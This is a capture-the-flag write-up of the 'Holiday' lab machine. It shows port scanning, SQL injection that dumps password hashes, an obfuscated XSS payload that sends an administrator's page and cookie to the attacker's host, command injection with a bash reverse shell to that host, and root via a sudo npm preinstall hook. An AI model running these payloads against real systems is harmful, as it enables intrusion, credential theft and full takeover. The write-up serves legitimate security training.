Holiday

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.25 -oN allPorts

• -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

• --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

• -p- scanning the entire port range, from 1 to 65535.

• -T5 insane mode, it is the fastest mode of the nmap time template.

• -Pn assume the host is online.

• -n scan without reverse DNS resolution.

• -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Sat May 13 08:12:57 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.25
Nmap scan report for 10.10.10.25
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

# Nmap done at Sat May 13 08:13:12 2023 -- 1 IP address (1 host up) scanned in 14.82 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,8000 10.10.10.25 -oN targeted

• -sC performs the scan using the default set of scripts.

• -sV enables version detection.

• -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Sat May 13 08:30:58 2023 as: nmap -sCV -p22,8000 -Pn -n -oN targeted 10.10.10.25
Nmap scan report for 10.10.10.25
Host is up (0.034s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c3aa3dbd0e0146c96b4673f3d1bacef2 (RSA)
|   256 b567f5eb8d11e90fddf452259fb12f23 (ECDSA)
|_  256 79e97896c5a8f4028390583fe58dfa98 (ED25519)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 13 08:31:12 2023 -- 1 IP address (1 host up) scanned in 13.52 seconds

The website shows a simple image.

Let's use dirsearch to enumerate subdirectories.

dirsearch -u http://10.10.10.25:8000/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/10.10.10.25-8000/-_23-05-13_08-33-54.txt

Error Log: /root/.dirsearch/logs/errors-23-05-13_08-33-54.log

Target: http://10.10.10.25:8000/

[08:33:54] Starting: 
[08:33:55] 301 -  163B  - /js  ->  /js/                                    
[08:34:02] 302 -   28B  - /ADMIN  ->  /login                                
[08:34:03] 302 -   28B  - /Admin  ->  /login                                
[08:34:09] 302 -   28B  - /admin  ->  /login                                
[08:34:10] 302 -   28B  - /admin/?/login  ->  /login                        
[08:34:10] 302 -   28B  - /admin/  ->  /login                               
[08:34:20] 301 -  165B  - /css  ->  /css/                                   
[08:34:25] 301 -  165B  - /img  ->  /img/                                   
[08:34:27] 200 -    1KB - /login                                            
[08:34:27] 200 -    1KB - /login/                                           
[08:34:28] 302 -   28B  - /logout  ->  /login                               
[08:34:28] 302 -   28B  - /logout/  ->  /login                              
                                                                             
Task Completed 

There is one login page.

Privilege Escalation

Try to log in with the username and password test, and intercept the request with BurpSuite.

It looks like the site is vulnerable to SQL injection attacks, because if we add the " character to the username, the site will crash.

As we can see, it is an SQLite 3.15.0 database.

username=admin")) union select 1,sqlite_version(),3,4-- -&password=test

The database has four tables.

username=admin")) union select 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -&password=test

The users table has one column called username and another one called password.

username=admin")) union select 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -&password=test

There is one user called RickA.

username=admin")) union select 1,group_concat(username),3,4 FROM users-- -&password=test

We can get his password hash.

username=admin")) union select 1,group_concat(password),3,4 FROM users-- -&password=test

We can get the password from the hash using crackstation.

Using the found credentials, we'll be able to access the site and see a list of bookings.

Each booking has Notes section where we can submit notes that an administrator will approve.

Let's try to add an img HTML tag with a python server as the source.

python -m http.server 80

After a minute we'll see a request in our HTTP server, which means that the site is vulnerable to XSS.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - [15/May/2023 15:17:07] code 404, message File not found
10.10.10.25 - - [15/May/2023 15:17:07] "GET /test.jpg HTTP/1.1" 404 -

We need to find a way to steal the administrator cookies. If we inject a simple payload such as the following, we'll see that it gets encoded.

<script>alert('XSS')</script>

I found a way to bypass this restriction. First, create the pwn.js file with the following code.

nano pwn.js

var request = new XMLHttpRequest();
request.open("GET", "http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65", false);
request.send();

var response = request.responseText;

var request2 = new XMLHttpRequest();
request2.open('POST', "http://10.10.14.8:8000/test", true);
request2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

var params = encodeURIComponent(response);
request2.send(params);

Then, set a netcat listener on port 8000.

nc -lvnp 8000

Now, we need to submit a payload which will be encoded by the encoder.py script.

nano encoder.py

payload = """document.write('<script src="http://10.10.14.8/pwn.js"></script>');"""

enc_payload = ""

for char in payload:
        enc_payload = enc_payload + str(ord(char)) + ","

final_payload = """<img src="test><script>eval(String.fromCharCode(""" + enc_payload[:-1] + """));</script>">"""
print(final_payload)

Run the python script to get the final payload.

python encoder.py

<img src="test><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,56,47,112,119,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">

Submit the payload as a note.

On port 8000 we'll get the content of the booking seen as the administrator.

Listening on 0.0.0.0 8000
Connection received on 10.10.10.25 52926
POST /test HTTP/1.1
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
Origin: http://localhost:8000
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 22359
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.14.8:8000

%3C!DOCTYPE%20html...

Using a URL decoder, we'll see the administrator cookie.

By changing our cookie to the administrator one, we'll see one more section called Admin.

There was one directory called /admin, let's check it out.

Click on Bookings, and intercept the request with BurpSuite.

If we try to inject a " character, we'll see that there is a whitelist of characters allowed.

One of the characters is &. If we URL encode it and inject a command after it, we'll see that the command gets executed.

Time to get a shell. First, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

• -l listen mode.

• -v verbose mode.

• -n numeric-only IP, no DNS resolution.

• -p specify the port to listen on.

There is one problem. We can not send the reverse shell directly from the request because we can not specify an IP address because the . character is not allowed. But we could specify the IP address in hexadecimal. Use python to get the hexadecimal values.

python

Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(10)
'0xa'
>>> hex(10)
'0xa'
>>> hex(14)
'0xe'
>>> hex(8)
'0x8'

The final string will be 0x0a0a0e08. Now, create the following file where the HTTP server is located.

nano shell

#!/bin/bash
bash -i  >& /dev/tcp/10.10.14.8/4444 0>&1

Now, download the file from the server.

Finally, run the script to get access to the server as algernon. Then we'll be able to grab the user flag.

Listening on 0.0.0.0 4444
Connection received on 10.10.10.25 39904
bash: cannot set terminal process group (1138): Inappropriate ioctl for device
bash: no job control in this shell
algernon@holiday:~/app$ whoami
whoami
algernon
algernon@holiday:~/app$ cat /home/algernon/user.txt
cat /home/algernon/user.txt
8c39415193e0a71a1e3bd49a0843563e

Privilege Escalation

If we check the sudo permissions, we'll see that we can run npm as root.

sudo -l

Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *

There is one way to get a shell as root with this permission. First, run these two commands.

TF=$(mktemp -d)

echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json

Finally, run npm with root permissions, and then all we have to do is reap the harvest and take the root flag.

sudo /usr/bin/npm i -C $TF --unsafe-perm

> undefined preinstall /tmp/tmp.Gajm68Sb1I
> /bin/sh

whoami
root
cat /root/root.txt
d6c7782e8e1bca9e508c1c5015ba829a